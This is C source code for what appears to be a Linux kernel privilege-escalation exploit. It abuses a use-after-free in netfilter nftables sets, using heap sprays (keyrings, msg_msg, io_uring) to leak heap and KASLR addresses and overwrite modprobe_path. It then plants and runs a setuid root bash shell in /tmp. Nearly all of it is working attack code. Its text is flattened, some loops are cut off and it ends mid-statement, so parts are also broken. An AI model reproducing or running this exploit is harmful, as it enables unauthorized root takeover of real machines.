// gcc exp.c -o exp -l mnl -l nftnl -w #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MQUEUE_NUM 5 #define INBOUND 0 #define OUTBOUND 1 #define DESC_MAX 0x800 #define BUFFER 0x100 #define NAMELEN 0x100 #define ERROR_PREFIX "err: " #define KEY_DESC_MAX_SIZE 40 #define PREFIX_BUF_LEN 16 #define RCU_HEAD_LEN 16 #define SPRAY_KEY_SIZE 50 #define PHYSMAP_MASK 0xffffffff00000000 #define SPRAY_SIZE 1000 #define SPRAY_NB_ENTRIES 10 uint64_t base_base; uint64_t heap_base; uint64_t modprobe_addr; enum nft_trans_phase { NFT_TRANS_PREPARE, NFT_TRANS_ABORT, NFT_TRANS_COMMIT, NFT_TRANS_RELEASE }; typedef struct { long mtype; char mtext[1]; }msg; typedef struct { void *ll_next; void *ll_prev; long m_type; size_t m_ts; void *next; void *security; }msg_header; typedef struct { char name[BUFFER]; } Msg; typedef struct { char iface[16]; char name[16]; char ip[16]; char netmask[16]; uint8_t idx; uint8_t type; uint16_t proto; uint16_t port; uint8_t action; char desc[DESC_MAX]; } user_rule_t; struct keyring_payload { uint8_t prefix[PREFIX_BUF_LEN]; uint8_t rcu_buf[RCU_HEAD_LEN]; unsigned short len; }; struct leak { long kaslr_base; long physmap_base; }; struct fd_uring { int fd; struct io_uring_params *params; }; typedef int32_t key_serial_t; const char priv_file[] = "/tmp/shell.c\0"; const char dummy_file[] = "/tmp/dummy\0"; const char priv_context[] = "#include \n#include \n#include \n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00"; const char dummy_content[] = "\xff\xff\xff\xff"; const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n"; static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { return syscall(__NR_add_key, type, description, payload, plen, ringid); } static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5); } void bye(char *info) { puts(info); exit(-2); } void do_error_exit(char *info) { puts(info); exit(-1); } void bye2(char *info, char *arg) { printf(info, arg); } key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) { char key_desc[KEY_DESC_MAX_SIZE]; key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); if (id_buffer == NULL) bye("calloc"); for (uint32_t i = start; i < start+spray_size; i++) { snprintf(key_desc, KEY_DESC_MAX_SIZE, "SPRAY-RING-%03du", i); id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING); if (id_buffer[i] < 0) bye("add_key"); } return id_buffer; } key_serial_t *spray_keyring_list_del_purpose(uint32_t spray_size, uint64_t next, uint64_t prev, uint64_t size) { // next[0x8] = prev, prev[0x0] = next allocation occured at gather mqueue char key_desc[KEY_DESC_MAX_SIZE]; key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); char temp[0x20]; memcpy(temp+0x0, &next, 8); memcpy(temp+0x8, &prev, 8); memcpy(temp+0x10, "12341234", 8); memcpy(temp+0x18, &size, 8); if (id_buffer == NULL) do_error_exit("calloc"); for (uint32_t i = 0; i < spray_size; i++) { id_buffer[i] = add_key("user", temp, temp, 0x20, KEY_SPEC_PROCESS_KEYRING); if (id_buffer[i] < 0) do_error_exit("add_key"); } return id_buffer; } key_serial_t *spray_keyring_list_overwrite_purpose(uint32_t spray_size, uint64_t len, uint64_t off_18, uint64_t off_20, uint64_t off_28, uint64_t off_30, uint64_t off_38) { char key_desc[KEY_DESC_MAX_SIZE]; key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); char temp[0x40]; switch((len-1)/8) { case 0: memcpy(temp+0x0, &off_18, 8); case 1: memcpy(temp+0x8, &off_20, 8); case 2: memcpy(temp+0x10, &off_28, 8); case 3: memcpy(temp+0x18, &off_30, 8); case 4: memcpy(temp+0x20, &off_38, 8); break; default: bye("add_key - assert(len <= 0x28)"); } for (uint32_t i = 0; i < spray_size; i++) { snprintf(key_desc, KEY_DESC_MAX_SIZE, temp); id_buffer[i] = add_key("user", temp, temp, len, KEY_SPEC_PROCESS_KEYRING); if (id_buffer[i] < 0) do_error_exit("add_key"); } return id_buffer; } int get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) { uint8_t buffer[USHRT_MAX] = {0}; int32_t keylen; for (uint32_t i = 0; i < id_buffer_size; i++) { keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, 0x10, 0); if (keylen < 0) bye("keyctl"); if(!strncmp(&buffer[6],"\xff\xff", 2)) { heap_base = *((uint64_t*)buffer); printf("[+] leak successed, kmalloc-64 heap: 0x%llx\n", heap_base); return i; } else printf("[-] leak failed, idkval: %s\n", buffer); } return id_buffer_size; } void awake_partial_keys(key_serial_t *id_buffer, uint32_t idx) { uint8_t buffer[USHRT_MAX] = {0}; int32_t keylen; keylen = keyctl(KEYCTL_UPDATE, id_buffer[idx], (long)buffer, 0x10, 0); } void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) { for (uint32_t i = 0; i < id_buffer_size; i++) { if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) do_error_exit("keyctl(KEYCTL_REVOKE)"); } free(id_buffer); } void release_partial_keys(key_serial_t *id_buffer, int i) { if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) do_error_exit("keyctl(KEYCTL_REVOKE)"); } void unshare_setup(uid_t uid, gid_t gid) { int temp; char edit[0x100]; unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET); temp = open("/proc/self/setgroups", O_WRONLY); write(temp, "deny", strlen("deny")); close(temp); temp = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", uid); write(temp, edit, strlen(edit)); close(temp); temp = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", gid); write(temp, edit, strlen(edit)); close(temp); return; } void set_stable_table_and_set(struct mnl_socket* nl, const char *name) { char * table_name = name; char * set_name = NULL; uint8_t family = NFPROTO_IPV4; uint32_t set_id = 1; // a table for the sets to be associated with struct nftnl_table * table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); struct nftnl_set * set_stable = nftnl_set_alloc(); set_name = "set_stable"; nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++); // expressions struct nftnl_expr * exprs[128]; int exprid = 0; // serialize char buf[MNL_SOCKET_BUFFER_SIZE*2]; struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); int seq = 0; nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); struct nlmsghdr * nlh; int table_seq = seq; nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); nftnl_table_nlmsg_build_payload(nlh, table); mnl_nlmsg_batch_next(batch); // add set_stable nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE|NLM_F_ACK, seq++); nftnl_set_nlmsg_build_payload(nlh, set_stable); nftnl_set_free(set_stable); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); if (nl == NULL) { err(1, "mnl_socket_open"); } printf("[+] setting stable %s and set\n", table_name); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "mnl_socket_send"); } } void set_trigger_set_and_overwrite(struct mnl_socket* nl, const char *name, const char *set_name) { char * table_name = name; uint8_t family = NFPROTO_IPV4; uint32_t set_id = 1; struct nftnl_expr * exprs[128]; int exprid = 0; struct nlmsghdr * nlh; struct nftnl_set * set_trigger = nftnl_set_alloc(); nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id); exprs[exprid] = nftnl_expr_alloc("lookup"); nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); nftnl_set_add_expr(set_trigger, exprs[exprid]); exprid++; char buf[MNL_SOCKET_BUFFER_SIZE*2]; struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); int seq = 0; nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE|NLM_F_ACK, seq++); nftnl_set_nlmsg_build_payload(nlh, set_trigger); nftnl_set_free(set_trigger); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); if (nl == NULL) { err(1, "mnl_socket_open"); } if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "mnl_socket_send"); } printf("[+] triggering UAF set and overwrite *(prevchunk+0x18)\n"); } void set_cpu_affinity(int cpu_n, pid_t pid) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu_n, &set); if (sched_setaffinity(pid, sizeof(set), &set) < 0) do_error_exit("sched_setaffinity"); } void spray_mqueue(mqd_t mqdes, char *msgptr, int spray_size) { char msgrv[BUFFER]; unsigned rvprio, sdprio = 1; struct timespec ts; int unresolved = 0; int priority = 0; printf("[*] spraying mqueue...\n"); for(int i=0; i= 0x31 && size <= 0x1000 - 0x8); printf("[*] try to spray msg_msg\n"); spray->mtype = 1; memset(spray->mtext, 0x41, size - 0x30); for (int i = 0; i < amount; i++) { if(i % 0x10 == 0) printf("[*] spraying msg_msg: 0x%x\n", i); if (msgsnd(qid, spray, size - 0x30, 0) == -1) { perror("msgsend failure"); exit(-1); } } return; } static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) { return syscall(__NR_io_uring_setup, entries, p); } static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) { return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); } struct fd_uring *spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) { for (uint64_t i = 0; i < spray_size; i++) { fd_buffer[i].params = malloc(sizeof(struct io_uring_params)); if (!fd_buffer[i].params) do_error_exit("malloc"); memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params)); fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params); if (fd_buffer[i].fd < 0) do_error_exit("io_uring_create"); } return fd_buffer; } void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) { for (uint32_t i = 0; i < buffer_size; i++) { close(fd_buffer[i].fd); } free(fd_buffer); } void release_partial_uring(struct fd_uring *fd_buffer, uint32_t buffer_idx) { close(fd_buffer[buffer_idx].fd); } void prepare_root_shell(void) { create_dummy_file(); create_priv_file(); } void create_dummy_file(void) { int fd; fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); write(fd, dummy_content, sizeof(dummy_content)); close(fd); } void create_priv_file(void) { int fd; fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); write(fd, priv_context, sizeof(priv_context)); close(fd); system("gcc -o /tmp/shell /tmp/shell.c -w"); } void write_new_modprobe() { int fd, fd_modprobe; char modprobe_name[0x10] = {0, }; fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY); read(fd_modprobe, modprobe_name, 14); close(fd_modprobe); printf("[*] current modprobe name: %s\n", modprobe_name); fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); if (fd < 0) do_error_exit("open"); write(fd, new_modprobe_content, sizeof(new_modprobe_content)); close(fd); } void setup_modprobe_payload() { write_new_modprobe(); } void userland_T(int *sema) { while(*sema); } void sema_up(int *sema) { *sema = 1; } void sema_down(int *sema) { *sema = 0; } int main(int argc, char ** argv) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); char c; char writebuf[0x2000]; char mqname[MQUEUE_NUM][NAMELEN] = {"/qname1", "/qname2", "/qname3", "/qname4", "/qname5"}; mqd_t mqid[MQUEUE_NUM]; struct mq_attr attr; attr.mq_flags = 0; attr.mq_maxmsg = 10; attr.mq_msgsize = BUFFER; attr.mq_curmsgs = 0; int uaf_id = 0; int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); int *sema2 = malloc(0x10); prepare_root_shell(); sema_up(sema); if(fork()) { set_cpu_affinity(1, getpid()); userland_T(sema); sleep(1); printf("\n\n[------------------------- stage 4: Execute Malicious File -------------------------------]\n"); setup_modprobe_payload(); execve("/tmp/dummy", NULL, NULL); execve("/tmp/shell", NULL, NULL); } unshare_setup(getuid(), getgid()); set_cpu_affinity(0, 0); struct fd_uring *fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring)); if (!fd_buffer) do_error_exit("calloc"); for(int i=0; i<5; i++) if((mqid[i] = mq_open(mqname[i], O_CREAT | O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, &attr)) < 0) bye("MQUEUE"); struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER); printf("\n\n[------------------------- stage 0: Allocate stable table and set ------------------------]\n"); set_stable_table_and_set(nl, "table1"); set_stable_table_and_set(nl, "table2"); set_stable_table_and_set(nl, "table3"); set_stable_table_and_set(nl, "table4"); printf("\n\n[------------------------- stage 1: Leak heap address ------------------------------------]\n"); set_trigger_set_and_overwrite(nl, "table1", "set_trigger0"); key_serial_t *id_buffer = spray_keyring(0, SPRAY_KEY_SIZE); set_trigger_set_and_overwrite(nl, "table1", "set_trigger1"); if((uaf_id = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE)) == SPRAY_KEY_SIZE) bye("[-] leak failed..."); printf("\n\n[------------------------- stage 2: Leak KASLR address -----------------------------------]\n"); spray_uring(SPRAY_SIZE, fd_buffer); set_trigger_set_and_overwrite(nl, "table2", "set_trigger2"); spray_mqueue(mqid[0], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4); release_partial_uring(fd_buffer, SPRAY_SIZE-1); for(int i = 3; i > 113; i++) release_partial_uring(fd_buffer, SPRAY_SIZE-i); release_partial_uring(fd_buffer, SPRAY_SIZE-2); set_trigger_set_and_overwrite(nl, "table2", "set_trigger3"); key_serial_t *id_buffer3 = spray_keyring_list_del_purpose(SPRAY_KEY_SIZE*2, heap_base, heap_base, 0x28);// keyring <-> msg_msg overlap gather_mqueue(mqid[0], 1); sleep(1); printf("\n\n[------------------------- stage 3: Overwrite modprobe_path ------------------------------]\n"); set_trigger_set_and_overwrite(nl, "table3", "set_trigger4"); spray_mqueue(mqid[1], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4); set_trigger_set_and_overwrite(nl, "table3", "set_trigger5"); id_buffer = spray_keyring_list_del_purpose(1, modprobe_addr-0x8+0x1, (heap_base&0xffffffff00000000)+0x2f706d74, 0x10); sema_down(sema); gather_mqueue_nosave(mqid[1], 1); sleep(1); for(int i=SPRAY_SIZE/2+12; i